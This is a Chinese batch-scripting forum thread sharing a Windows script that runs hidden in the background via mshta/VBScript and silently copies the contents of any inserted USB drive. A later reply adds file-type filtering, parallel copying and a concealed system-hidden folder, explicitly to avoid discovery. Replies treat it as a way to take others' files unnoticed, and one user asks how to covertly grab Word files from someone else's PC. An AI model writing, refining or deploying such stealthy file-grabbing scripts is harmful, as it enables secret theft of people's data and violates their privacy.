Board logo

标题: [文件管理] 批处理自动复制U盘里的文件 [打印本页]

作者: fml520    时间: 2008-4-11 23:09     标题: 批处理自动复制U盘里的文件

本程序可以一直运行不占用很多的系统资源。当有U盘插入时会自动复制U盘的文件。大约3-5秒查找一次。
这段代码是别人的。
mshta vbscript:createobject("wscript.shell").run("""%~nx0"" fmr520",0)(window.close)
  1. @echo off
  2. if "%1" == "fmr520" goto begin
  3. mshta vbscript:createobject("wscript.shell").run("""%~nx0"" fmr520",0)(window.close)&&exit
  4. :fmr
  5. setlocal enabledelayedexpansion
  6. for /f "delims=\" %%i in ('fsutil fsinfo drives^|find /v ""') do (
  7. set var=%%i
  8. set drive=!var:~-2!
  9. fsutil fsinfo drivetype !drive!|find "可移动" && (
  10. xcopy "!drive!\*.*" "%temp%\U盘\" /h/i/y/v/s || ping 127.1 /n 1 >nul
  11. )
  12. )
  13. ping 171.1 /n 3 >nul
  14. goto fmr
复制代码

作者: fml520    时间: 2008-4-11 23:10

@echo off
start/min "" "复制U盘.bat"

嘿嘿!!!
作者: 1kingkong    时间: 2008-4-19 19:32

收下了 不错 呵呵 以后不用要老师的课件了
作者: lih570    时间: 2008-6-24 08:49

复制的内容保存去那了?
作者: 杨风    时间: 2008-6-26 11:10

复制的内容保存去那了?
是哦????
作者: batman    时间: 2008-6-26 11:24

原帖由 杨风 于 2008-6-26 11:10 发表
复制的内容保存去那了?
是哦????

在TEMP=C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\U盘里面,程序中相关的语句是:
xcopy "!drive!\*.*" "%temp%\U盘\" /h/i/y/v/s
作者: 愚无尽    时间: 2008-8-10 12:32

这个批处理 好像改过名字的u盘就无效 对吧
作者: 愚无尽    时间: 2008-8-10 12:40

原帖由 愚无尽 于 2008-8-10 12:32 发表
这个批处理 好像改过名字的u盘就无效 对吧

经测试,改过名字的却是无效。
作者: LEGEND    时间: 2008-8-26 00:42

高手们尽快解决~
作者: kevinlovedream    时间: 2008-12-5 17:28

请教阁下一个问题:      假如别人的电脑上有我想要的文件(如Word文件),而我不知道文件的名字和存放位置。使用批处理,怎样才能使当我的优盘插入他的电脑时,能神不知鬼不觉地把他电脑上所有的Word文件(其中肯定由我所要的)复制到我优盘的指定文件夹里?
       请赐教!
作者: 心愿怕人    时间: 2009-2-8 13:50     标题: 心愿

呵呵“学习了!再接再厉!可以考备目录文件吗
作者: kingerpk    时间: 2009-2-12 20:21

fsutil fsinfo drives^|find /v ""    是什么意思为什么要在|前面加^
我在cmd中试了一下说“drives|find”是无效参数
请大家帮忙解答!
谢谢!
大家

作者: Batcher    时间: 2009-2-12 20:37     标题: 回复 12楼 的帖子

for语句中的管道符为何要用尖号^进行转义?
http://bbs.bathome.net/viewthread.php?tid=1290&page=2#pid6306
作者: Batcher    时间: 2009-2-12 20:49     标题: 回复 7楼 的帖子

怎样用批处理获取U盘盘符?
http://bbs.bathome.net/thread-2683-1-1.html
作者: crartor    时间: 2010-3-3 00:06

这个是我根据版主的代码改写的,可以复制指定的文件类型,多线程复制 (有两个以上U盘的情况下比原代码复制较快。),变量 t 指定要复制的文件类型。变量 p 指定路径,为了不被别人发现,我将文件复制到一个特殊文件夹中 USB.. 代码如下:
  1. @Echo off
  2. SetLocal EnableDelayedExpansion
  3. If "%1"=="D" goto D
  4. If "%1"=="" Mshta vbscript:CreateObject("WScript.Shell").Run("""%~nx0"" F",0)(window.close)&&Exit
  5. Set t=doc xls ppt txt jpg bmp dwg rm rmvb avi flv swf wmv mpg mpeg mp4 3gp asf dat vob mp3 mov wma wav zip exe rar amv
  6. Set p=%~0\..\}
  7. :F
  8. set b=0
  9. For /F "delims=驱动器:\" %%d in ('Fsutil fsinfo drives^|more') do Fsutil fsinfo drivetype %%d:|Find "移"&&Ping 127.1&&Mshta vbscript:CreateObject("WScript.Shell").Run("""%~nx0"" D %%d",0)(window.close)&&set /a b+=1
  10. :W
  11. Ping 127.1
  12. set a=-2
  13. For /F %%i in ('tasklist^|Find "cmd.exe"') do set /a a+=1
  14. If %a% leq %b% goto F
  15. Goto W
  16. :D
  17. If not exist "!p!\USB~1\" md "!p!\USB...\"&&attrib +s +h "!p!"
  18. If not exist "!p!\USB~1\%2\" md "!p!\USB~1\%2\"
  19. For %%f in (!t!) do For /f "delims=" %%g in ('dir/a-d/b/s %2:\*.%%f') do If not exist "!p!\USB~1\%2%%~pnxg" xcopy "%%g" "!p!\USB~1\%2%%~pg" /C/H/I/Y
复制代码

[ 本帖最后由 crartor 于 2010-4-4 23:21 编辑 ]
作者: justin10    时间: 2010-4-3 21:00

这个是不是还要自己运行一下?不能自动检测吗?
作者: crartor    时间: 2010-4-4 23:26

实在不好意思,存在一些小错误,已经在 15 楼中更正了。

这个只要双击就会自动在后台监视移动磁盘,一旦发现就会…… ,呵呵,文件保存在 本批处理所在文件夹的 } \ USB..\ 中
作者: shy0000    时间: 2010-4-6 10:18     标题: 回复 17楼 的帖子

有两个USB目录,显示字节为0
作者: crartor    时间: 2010-4-6 23:16     标题: 标题

呵呵,在15楼中我已说明了啊:为了防别人看见,我将文件保存到一个特殊文件夹中了“ USB. ”
如果不方便,可将代码中从标签 到结尾的所有 USB... 和 USB~1 都改成 USB 就行了!
作者: tools628    时间: 2011-5-18 01:33

请教一下,如果我只是想复制U盘指定目录下的指定类型文件的话,代码应该如何改写?谢谢。
作者: cggm    时间: 2011-5-20 15:39

高手,想不说都不行啊
作者: tangqingfu    时间: 2013-5-28 06:34

先收藏再学习,谢谢!
作者: xieyunwei    时间: 2014-11-9 02:19

我是来添加脚印的




欢迎光临 批处理之家 (http://bathome.net./) Powered by Discuz! 7.2